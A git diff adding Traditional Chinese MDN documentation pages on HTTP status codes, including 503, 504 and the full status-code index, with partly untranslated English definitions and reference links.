<tr> + <th scope="col">規範</th> + <th scope="col">標題</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "503 Service Unavailable" , "6.6.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p>以下資訊是從 MDN 的 GitHub 取得 (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> + +<p class="hidden">本頁面的相容性列表示從資料中產生的。如果您想要參與改進，看看 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 並且送出 pull 請求。</p> + +<p>{{Compat("http.status.503")}}</p> + +<h2 id="請參閱">請參閱</h2> + +<ul> + <li>{{HTTPHeader("Retry-After")}}</li> +</ul> + +<h2 id="了解更多">了解更多</h2> + +<h3 id="一般知識">一般知識</h3> + +<ul> + <li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html">HTTP/1.1: Status Code Definitions</a></li> + <li><a href="https://kinsta.com/blog/http-error-503/">HTTP Error 503</a></li> + <li><a href="https://secure.wphackedhelp.com/blog/503-service-unavailable-error-wordpress/">503 Service Unvailaible WordPress</a></li> + <li><a href="https://techmoon.xyz/503-service-unavailable-error/">如何修復在 WordPress 當中「503 Service Unavailable Error」的問題？</a></li> +</ul> diff --git a/files/zh-tw/web/http/status/504/index.html b/files/zh-tw/web/http/status/504/index.html new file mode 100644 index 0000000000..c71e30f768 --- /dev/null +++ b/files/zh-tw/web/http/status/504/index.html @@ -0,0 +1,46 @@ +--- +title: 504 Gateway Timeout +slug: Web/HTTP/Status/504 +translation_of: Web/HTTP/Status/504 +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>504 Gateway Timeout</strong></code> 錯誤表明伺服器以閘道器或代理訪問時，並沒有上游伺服器即時收到完成請求所需的回應。</p> + +<div class="note"> +<p><strong>注意：</strong>{{interwiki("wikipedia", "閘道器" )}}可能位於網路上的不同地方。502 錯誤通常也不是開發者可以修復的，通常需要在要訪問的的伺服器或代理修復之。</p> +</div> + +<h2 id="狀態">狀態</h2> + +<pre class="syntaxbox notranslate">504 Gateway Timeout</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">規範</th> + <th scope="col">標題</th> + </tr> + <tr> + <td>{{RFC("7231", "504 Gateway Timeout" , "6.6.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p>The information shown below has been pulled from MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.504")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" rel="noopener">HTTP/1.1: Status Code Definitions</a></li> + <li>{{HTTPStatus(502)}}</li> +</ul> diff --git a/files/zh-tw/web/http/status/index.html b/files/zh-tw/web/http/status/index.html new file mode 100644 index 0000000000..cb47ff712d --- /dev/null +++ b/files/zh-tw/web/http/status/index.html @@ -0,0 +1,191 @@ +--- +title: HTTP 狀態碼 +slug: Web/HTTP/Status +translation_of: Web/HTTP/Status +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">HTTP 狀態碼表明一個 <a href="/zh-TW/docs/Web/HTTP">HTTP</a> 要求是否已經被完成。回應分為五種：</span></p> + +<ol> + <li class="summary"><span class="seoSummary">資訊回應 (Informational responses, <code>100</code>–<code>199</code>),</span></li> + <li class="summary"><span class="seoSummary">成功回應 (Successful responses, <code>200</code>–<code>299</code>),</span></li> + <li class="summary"><span class="seoSummary">重定向 (Redirects, <code>300</code>–<code>399</code>),</span></li> + <li class="summary"><span class="seoSummary">用戶端錯誤 (Client errors, <code>400</code>–<code>499</code>),</span></li> + <li class="summary"><span class="seoSummary">伺服器端錯誤 (Server errors, <code>500</code>–<code>599</code>).</span></li> +</ol> + +<p class="summary">以下的狀態碼定義在 <a href="https://tools.ietf.org/html/rfc2616#section-10">section 10 of RFC 2616</a> 中。你可以在 <a href="https://tools.ietf.org/html/rfc7231#section-6.5.1">RFC 7231</a> 查看更新過的規範。</p> + +<div class="blockIndicator note"> +<p class="summary">如果你收到任何不在清單內的回應，那很可能伺服器自行軟體實作的非標準規範。</p> +</div> + +<h2 id="資訊回應">資訊回應</h2> + +<dl> + <dt>{{HTTPStatus(100, "100 Continue")}}</dt> + <dd>此臨時回應表明，目前為止的一切完好，而用戶端應當繼續完成請求、或是在已完成請求的情況下，忽略此資訊。</dd> + <dt>{{HTTPStatus(101, "101 Switching Protocol")}}</dt> + <dd>此狀態碼乃為用戶端 {{HTTPHeader("Upgrade")}} 請求標頭發送之回應、且表明伺服器亦切換中。</dd> + <dt>{{HTTPStatus(102, "102 Processing")}} ({{Glossary("WebDAV")}})</dt> + <dd>此狀態碼表明伺服器收到並處理請求中，但目前未有回應。</dd> + <dt>{{HTTPStatus(103, "103 Early Hints")}}</dt> + <dd>此狀態碼主要與 {{HTTPHeader("Link")}} 標頭有關：它能讓用戶代理（user agent）能在伺服器準備回應前能 <a href="/zh-TW/docs/Web/HTML/Preloading_content">preloading</a> 資源。</dd> +</dl> + +<h2 id="成功回應">成功回應</h2> + +<dl> + <dt>{{HTTPStatus(200, "200 OK")}}</dt> + <dd>請求成功。成功的意義依照 HTTP 方法而定：<br> + GET：資源成功獲取並於訊息主體中發送。<br> + HEAD：entity 標頭已於訊息主體中。<br> + POST：已傳送訊息主體中的 resource describing the result of the action。<br> + TRACE：伺服器已接收到訊息主體內含的請求訊息。</dd> + <dt>{{HTTPStatus(201, "201 Created")}}</dt> + <dd>請求成功且新的資源成功被創建，通常用於 POST 或一些 PUT 請求後的回應。</dd> + <dt>{{HTTPStatus(202, "202 Accepted")}}</dt> + <dd>此請求已經被接受但尚未處理。此狀態為非承諾性，代表 HTTP 無法在之後傳送一個非同步的回應告知請求的處理結果。最初<span class="tlid-translation translation" lang="zh-TW"><span title="">目的為外部程序或其他伺服器處理</span></span>請求的情況，或用於批次處理中。</dd> + <dt>{{HTTPStatus(203, "203 Non-Authoritative Information")}}</dt> + <dd>此回應碼表示回傳的中介資料集與並非與原始伺服器上的有效確定集合完全相同，而是來自本地或第三方的副本。除此情況外，200 OK 回應碼應該被優先使用。</dd> + <dt>{{HTTPStatus(204, "204 No Content")}}</dt> + <dd>There is no content to send for this request, but the headers may be useful. The user-agent may update its cached headers for this resource with the new ones.</dd> + <dt>{{HTTPStatus(205, "205 Reset Content")}}</dt> + <dd>This response code is sent after accomplishing request to tell user agent reset document view which sent this request.</dd> + <dt>{{HTTPStatus(206, "206 Partial Content")}}</dt> + <dd>This response code is used because of range header sent by the client to separate download into multiple streams.</dd> + <dt>{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}})</dt> + <dd>A Multi-Status response conveys information about multiple resources in situations where multiple status codes might be appropriate.</dd> + <dt>{{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}})</dt> + <dd>Used inside a DAV: propstat response element to avoid enumerating the internal members of multiple bindings to the same collection repeatedly.</dd> + <dt>{{HTTPStatus(226, "226 IM Used")}} (<a href="https://tools.ietf.org/html/rfc3229">HTTP Delta encoding</a>)</dt> + <dd>The server has fulfilled a GET request for the resource, and the response is a representation of the result of one or more instance-manipulations applied to the current instance.</dd> +</dl> + +<h2 id="重定向訊息">重定向訊息</h2> + +<dl> + <dt>{{HTTPStatus(300, "300 Multiple Choice")}}</dt> + <dd>請求擁有一個以上的回應。用戶代理或使用者應該從中選一。不過，並沒有標準的選擇方案。</dd> + <dt>{{HTTPStatus(301, "301 Moved Permanently")}}</dt> + <dd>此回應碼的意思是，請求資源的 URI 已被改變。有時候，會在回應內給予新的 URI。</dd> + <dt>{{HTTPStatus(302, "302 Found")}}</dt> + <dd>This response code means that URI of requested resource has been changed <em>temporarily</em>. New changes in the URI might be made in the future. Therefore, this same URI should be used by the client in future requests.</dd> + <dt>{{HTTPStatus(303, "303 See Other")}}</dt> + <dd>Server sent this response to directing client to get requested resource to another URI with an GET request.</dd> + <dt>{{HTTPStatus(304, "304 Not Modified")}}</dt> + <dd>This is used for caching purposes. It is telling to client that response has not been modified. So, client can continue to use same cached version of response.</dd> + <dt><code>305 Use Proxy</code> {{deprecated_inline}}</dt> + <dd>在舊版本的 HTTP 規範中，表示請求資源必須透過代理存取。基於對代理的頻內設置 (in-band configuration) 相關的安全考量，該狀態碼已棄用。</dd> + <dt><code>306 unused</code></dt> + <dd>該狀態碼已不再被使用，僅被保留。該狀態碼曾在先前得的 HTTP 1.1 規範中被使用。</dd> + <dt>{{HTTPStatus(307, "307 Temporary Redirect")}}</dt> + <dd>伺服器發送此回應來使客戶端保持請求方法不變向新的地址發出請求。 與 <code>302 Found</code> 相同，差別在於客戶端不許變更請求方法。例如，應使用另一個 <code>POST</code> 請求來重複發送 <code>POST</code> 請求。</dd> + <dt>{{HTTPStatus(308, "308 Permanent Redirect")}}</dt> + <dd>This means that the resource is now permanently located at another URI, specified by the <code>Location:</code> HTTP Response header. This has the same semantics as the <code>301 Moved Permanently</code> HTTP response code, with the exception that the user agent <em>must not</em> change the HTTP method used: if a <code>POST</code> was used in the first request, a <code>POST</code> must be used in the second request.</dd> +</dl> + +<h2 id="用戶端錯誤回應">用戶端錯誤回應</h2> + +<dl> + <dt>{{HTTPStatus(400, "400 Bad Request")}}</dt> + <dd>此回應意味伺服器因為收到無效語法，而無法理解請求。</dd> + <dt>{{HTTPStatus(401, "401 Unauthorized")}}</dt> + <dd>需要授權以回應請求。它有點像 403，但這裡的授權，是有可能辦到的。</dd> + <dt>{{HTTPStatus(402, "402 Payment Required")}} {{experimental_inline}}</dt> + <dd>此回應碼留作未來使用。一開始此碼旨在用於數位交易系統，然而，目前極少被使用，且不存在標準或慣例。</dd> + <dt>{{HTTPStatus(403, "403 Forbidden")}}</dt> + <dd>用戶端並無訪問權限，例如未被授權，所以伺服器拒絕給予應有的回應。不同於 401，伺服端知道用戶端的身份。</dd> + <dt>{{HTTPStatus(404, "404 Not Found")}}</dt> + <dd>伺服器找不到請求的資源。因為在網路上它很常出現，這回應碼也許最為人所悉。</dd> + <dt>{{HTTPStatus(405, "405 Method Not Allowed")}}</dt> + <dd>伺服器理解此請求方法，但它被禁用或不可用。有兩個強制性方法：<code>GET</code> 與 <code>HEAD</code>，永遠不該被禁止、也不該回傳此錯誤碼。</dd> + <dt>{{HTTPStatus(406, "406 Not Acceptable")}}</dt> + <dd>This response is sent when the web server, after performing <a href="/zh-TW/docs/HTTP/Content_negotiation#Server-driven_negotiation">server-driven content negotiation</a>, doesn't find any content following the criteria given by the user agent.</dd> + <dt>{{HTTPStatus(407, "407 Proxy Authentication Required")}}</dt> + <dd>This is similar to 401 but authentication is needed to be done by a proxy.</dd> + <dt>{{HTTPStatus(408, "408 Request Timeout")}}</dt> + <dd>This response is sent on an idle connection by some servers, even without any previous request by the client. It means that the server would like to shut down this unused connection. This response is used much more since some browsers, like Chrome, Firefox 27+, or IE9, use HTTP pre-connection mechanisms to speed up surfing. Also note that some servers merely shut down the connection without sending this message.</dd> + <dt>{{HTTPStatus(409, "409 Conflict")}}</dt> + <dd>表示請求與伺服器目前狀態衝突</dd> + <dt>{{HTTPStatus(410, "410 Gone")}}</dt> + <dd>This response would be sent when requested content has been deleted from server.</dd> + <dt>{{HTTPStatus(411, "411 Length Required")}}</dt> + <dd>伺服器拒絕該請求，因為 <code>Content-Length</code> 頭沒有被定義，然而伺服器要求。</dd> + <dt>{{HTTPStatus(412, "412 Precondition Failed")}}</dt> + <dd>The client has indicated preconditions in its headers which the server does not meet.</dd> + <dt>{{HTTPStatus(413, "413 Payload Too Large")}}</dt> + <dd>請求的實體資料大小超過了伺服器定義的上限，伺服器會關閉連接或返回一個 <code>Retry-After</code> 回應頭。</dd> + <dt>{{HTTPStatus(414, "414 URI Too Long")}}</dt> + <dd>客戶端的 URI 請求超過伺服器願意解析的長度。</dd> + <dt>{{HTTPStatus(415, "415 Unsupported Media Type")}}</dt> + <dd>被請求資源的多媒體類型不被伺服器支援，因此該請求被拒絕。</dd> + <dt>{{HTTPStatus(416, "416 Requested Range Not Satisfiable")}}</dt> + <dd>The range specified by the <code>Range</code> header field in the request can't be fulfilled; it's possible that the range is outside the size of the target URI's data.</dd> + <dt>{{HTTPStatus(417, "417 Expectation Failed")}}</dt> + <dd>This response code means the expectation indicated by the <code>Expect</code> request header field can't be met by the server.</dd> + <dt>{{HTTPStatus(418, "418 I'm a teapot")}}</dt> + <dd>The server refuses the attempt to brew coffee with a teapot.</dd> + <dt>{{HTTPStatus(421, "421 Misdirected Request")}}</dt> + <dd>The request was directed at a server that is not able to produce a response. This can be sent by a server that is not configured to produce responses for the combination of scheme and authority that are included in the request URI.</dd> + <dt>{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})</dt> + <dd>The request was well-formed but was unable to be followed due to semantic errors.</dd> + <dt>{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})</dt> + <dd>被訪問的資源被鎖定。</dd> + <dt>{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})</dt> + <dd>由於先前的請求失敗導致此請求失敗。</dd> + <dt>{{HTTPStatus(426, "426 Upgrade Required")}}</dt> + <dd>The server refuses to perform the request using the current protocol but might be willing to do so after the client upgrades to a different protocol. The server sends an {{HTTPHeader("Upgrade")}} header in a 426 response to indicate the required protocol(s).</dd> + <dt>{{HTTPStatus(428, "428 Precondition Required")}}</dt> + <dd>The origin server requires the request to be conditional. Intended to prevent the 'lost update' problem, where a client GETs a resource's state, modifies it, and PUTs it back to the server, when meanwhile a third party has modified the state on the server, leading to a conflict.</dd> + <dt>{{HTTPStatus(429, "429 Too Many Requests")}}</dt> + <dd>用戶在給定的時間內 ("rate limiting") 發送了過多的請求。</dd> + <dt>{{HTTPStatus(431, "431 Request Header Fields Too Large")}}</dt> + <dd>伺服器不願意處理該請求，因為標頭欄位過大。該請求可能可以在減少請求標頭欄位大小後重新提交。</dd> + <dt>{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}</dt> + <dd>用戶端請求違法的資源，例如受政府審查的網頁。</dd> +</dl> + +<h2 id="伺服器端錯誤回應">伺服器端錯誤回應</h2> + +<dl> + <dt>{{HTTPStatus(500, "500 Internal Server Error")}}</dt> + <dd>伺服器端發生未知或無法處理的錯誤。</dd> + <dt>{{HTTPStatus(501, "501 Not Implemented")}}</dt> + <dd>The request method is not supported by the server and cannot be handled. The only methods that servers are required to support (and therefore that must not return this code) are <code>GET</code> and <code>HEAD</code>.</dd> + <dt>{{HTTPStatus(502, "502 Bad Gateway")}}</dt> + <dd>This error response means that the server, while working as a gateway to get a response needed to handle the request, got an invalid response.</dd> + <dt>{{HTTPStatus(503, "503 Service Unavailable")}}</dt> + <dd>The server is not ready to handle the request. Common causes are a server that is down for maintenance or that is overloaded. Note that together with this response, a user-friendly page explaining the problem should be sent. This responses should be used for temporary conditions and the <code>Retry-After:</code> HTTP header should, if possible, contain the estimated time before the recovery of the service. The webmaster must also take care about the caching-related headers that are sent along with this response, as these temporary condition responses should usually not be cached.</dd> + <dt>{{HTTPStatus(504, "504 Gateway Timeout")}}</dt> + <dd>This error response is given when the server is acting as a gateway and cannot get a response in time.</dd> + <dt>{{HTTPStatus(505, "505 HTTP Version Not Supported")}}</dt> + <dd>請求使用的 HTTP 版本不被伺服器支援。</dd> + <dt>{{HTTPStatus(506, "506 Variant Also Negotiates")}}</dt> + <dd>The server has an internal configuration error: transparent content negotiation for the request results in a circular reference.</dd> + <dt>{{HTTPStatus(507, "507 Insufficient Storage")}}</dt> + <dd>The server has an internal configuration error: the chosen variant resource is configured to engage in transparent content negotiation itself, and is therefore not a proper end point in the negotiation process.</dd> + <dt>{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})</dt> + <dd>The server detected an infinite loop while processing the request.</dd> + <dt>{{HTTPStatus(510, "510 Not Extended")}}</dt> + <dd>Further extensions to the request are required for the server to fulfill it.</dd> + <dt>{{HTTPStatus(511, "511 Network Authentication Required")}}</dt> + <dd>The 511 status code indicates that the client needs to authenticate to gain network access.</dd> +</dl> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + + + +<p>{{Compat("http.status")}}</p> + +<h2 id="參見">參見</h2> + +<ul> + <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_status_codes">List of HTTP status codes on Wikipedia</a></li> + <li><a href="http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml">IANA official registry of HTTP status codes</a></li> +<li><a href="https://www.exai.com/blog/http-status-codes-cheat-sheet">HTTP Status Codes Cheat Sheet</a></li> + <li><a href="https://kinsta.com/blog/http-status-codes/">A Complete Guide and List of HTTP Status Codes</a></li> + <li><a href="https://techmoon.xyz/httpstatus/">httpstatus – 檢查網址重定向路徑、請求標頭與 HTTP 狀態代碼</a></li> +</ul> |